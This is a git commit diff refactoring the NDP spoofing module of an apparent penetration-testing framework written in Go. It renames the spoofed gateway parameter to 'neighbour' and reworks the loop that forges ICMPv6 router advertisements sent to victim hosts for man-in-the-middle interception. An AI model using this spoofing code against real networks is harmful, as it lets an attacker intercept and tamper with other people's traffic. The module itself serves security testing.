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misc: small fix or general refactoring i did not bother commenting

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This commit is contained in:
Simone Margaritelli 2021-04-03 23:08:00 +02:00
commit c1520206a5
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GPG key ID: 82E42E7F3B34C97E
1 changed files with 13 additions and 14 deletions
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27
modules/ndp_spoof/ndp_spoof.go
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@ -13,7 +13,7 @@ import (
type NDPSpoofer struct {
session.SessionModule
gwAddress net.IP
neighbour net.IP
addresses []net.IP
ban bool
waitGroup *sync.WaitGroup
@ -32,7 +32,7 @@ func NewNDPSpoofer(s *session.Session) *NDPSpoofer {
mod.AddParam(session.NewStringParameter("ndp.spoof.targets", "", "", "Comma separated list of IPv6 addresses, "+
"MAC addresses or aliases to spoof."))
mod.AddParam(session.NewStringParameter("ndp.spoof.gateway", "fe80::1", "", "Gateway address to spoof."))
mod.AddParam(session.NewStringParameter("ndp.spoof.neighbour", "fe80::1", "", "Neighbour IPv6 address to spoof."))
mod.AddHandler(session.NewModuleHandler("ndp.spoof on", "",
"Start NDP spoofer.",
@ -76,12 +76,12 @@ func (mod NDPSpoofer) Author() string {
func (mod *NDPSpoofer) Configure() error {
var err error
var gwaddr, targets string
var neigh, targets string
if err, gwaddr = mod.StringParam("ndp.spoof.gateway"); err != nil {
if err, neigh = mod.StringParam("ndp.spoof.neighbour"); err != nil {
return err
} else if mod.gwAddress = net.ParseIP(gwaddr); mod.gwAddress == nil {
return fmt.Errorf("can't parse gateway address %s", gwaddr)
} else if mod.neighbour = net.ParseIP(neigh); mod.neighbour == nil {
return fmt.Errorf("can't parse neighbour address %s", neigh)
} else if err, targets = mod.StringParam("ndp.spoof.targets"); err != nil {
return err
}
@ -126,16 +126,15 @@ func (mod *NDPSpoofer) Start() error {
defer mod.waitGroup.Done()
for mod.Running() {
for ip, mac := range mod.getTargets(true) {
for victimAddr, victimHW := range mod.getTargets(true) {
victimIP := net.ParseIP(victimAddr)
srcHW := mod.Session.Interface.HW
srcIP := mod.gwAddress
dstHW := mac
dstIP := net.ParseIP(ip)
mod.Debug("we're saying to %s(%s) that %s is us(%s)",
victimIP, victimHW,
mod.neighbour,
mod.Session.Interface.HW)
mod.Debug("neigh_hw(ours)=%s src_ip(neigh)=%s victim_hw=%s victim_ip=%s", srcHW, srcIP, dstHW, dstIP)
if err, packet := packets.ICMP6RouterAdvertisement(srcHW, srcIP, dstHW, dstIP, srcIP); err != nil {
if err, packet := packets.ICMP6RouterAdvertisement(mod.Session.Interface.HW, mod.neighbour, victimHW, victimIP, mod.neighbour); err != nil {
mod.Error("error creating packet: %v", err)
} else if err = mod.Session.Queue.Send(packet); err != nil {
mod.Error("error while sending packet: %v", err)